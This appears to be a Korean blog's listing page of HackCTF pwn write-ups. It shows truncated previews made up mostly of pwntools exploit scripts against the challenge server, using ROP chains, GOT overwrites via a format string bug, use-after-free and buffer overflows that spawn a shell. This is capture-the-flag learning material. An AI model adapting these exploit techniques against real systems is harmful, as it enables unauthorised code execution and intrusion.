목록시스템 해킹/HackCTF (28)
ii4gsp
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { alarm(5u); setvbuf(stdout, 0LL, 2, 0LL); build(); } main() void __noreturn build() { __int64 v0; // [rsp+0h] [rbp-40h] __int64 v1; // [rsp+8h] [rbp-38h] __int64 v2; // [rsp+10h] [rbp-30h] __int64 v3; // [rsp+18h] [rbp-28h] __int64 v4; // [rsp+20h] [rbp-20h] __int64 v5; // [rsp+28h] [rbp-18h] __int64 v6; // [rsp+30h] [r..
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3029) e = ELF('./Unexploitable_2') context.log_level = 'debug' payload = '' payload += '\x90' * 0x18 payload += p64(0x0000000000400773) payload += p64(e.got['fgets']) payload += p64(e.plt['system']) payload += p64(0x40068c) r.sendlineafter('\n', payload) r.recvuntil('1: ') leak = u64(r.recv(6) + '\x00\x00') log.info('leak : ' + hex(leak)) fgets() ..
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3025) e = ELF('./rtc') libc = ELF('./libc.so.6') binsh = '/bin/sh\x00' bss = e.bss() stage0 = 0x00000000004006ba stage1 = 0x00000000004006a0 def exploit(addr, arg1, arg2, arg3): payload = '' payload += p64(0) payload += p64(1) payload += p64(addr) payload += p64(arg3) payload += p64(arg2) payload += p64(arg1) payload += p64(stage1) return payload ..
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3024) e = ELF('./sysrop') libc = ELF('./libc.so.6') payload = '' payload += '\x90' * (0x10 + 0x8) payload += p64(0x00000000004005eb) payload += p64(8) payload += p64(0) payload += p64(e.bss() + 0x100) payload += p64(e.plt['read']) payload += p64(0x4005f2) r.sendline(payload) sleep(0.1) r.send('/bin/sh\x00') sleep(0.1) payload = '' payload += '\x90..
바이너리를 IDA로 열어보면 fgets() 함수로 s에 64byte만큼 입력을 받는다. 즉, 버퍼 오버플로우가 일어난다. s ~ ret = 24 gift() 함수에서 system()함수를 호출한다. system() 함수의 인자로 rdi 레지스터가 사용된다. ROPgadget을 이용하여 pop rdi ; ret를 구해주자. pop rdi ; ret = 0x00000000004007d3 .LOAD 영역을 보면 fflush() 함수의 문자열이 보인다. fflush의 sh를 system() 함수의 인자로 넘겨주면 쉘이 획득할 수 있다. 'sh' = 0x00000000004003BF from pwn import * r = remote('ctf.j0n9hyun.xyz', 3023) e = ELF('/mnt/c/CT..
main()함수를 보면 printf()함수에서 FSB취약점이 발생한다. play_game()함수에 system("cat ./flag"); 가 있다. system()함수를 호출하기전 인자 0x400750을 printf@got에 덮어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3022) e = ELF('/home/ii4gsp/HackCTF/you_are_silver') flag = str(0x400750) printf_got = e.got['printf'] payload = '' payload += '%' + flag + 'x%8$ln' payload += '\x90' * 2 payload += p64(printf_got) r.sendline(paylo..
문제 이름대로 ROP해주면 된다. pop pop pop ret 가젯은 0x8048509이다. 나머지는 pwntools로 구해주자. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3021) e = ELF('/home/ii4gsp/HackCTF/rop/rop') libc = ELF('/home/ii4gsp/HackCTF/rop/libc.so.6') write_plt = e.plt['write'] write_got = e.got['write'] read_plt = e.plt['read'] read_got = e.got['read'] bss = e.bss() read_offset = libc.symbols['read'] system_offset = libc.symbols..
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3020) e = ELF('./uaf') magic = e.symbols['magic'] def add_note(idx, size): print r.recv() r.sendline('1') print r.recv() r.sendline(idx) print r.recv() r.sendline(size) def del_note(idx): print r.recv() r.sendline('2') r.sendline(idx) print r.recv() def print_note(idx): print r.recv() r.sendline('3') print r.recv() r.sendline(idx) add_note('100', ..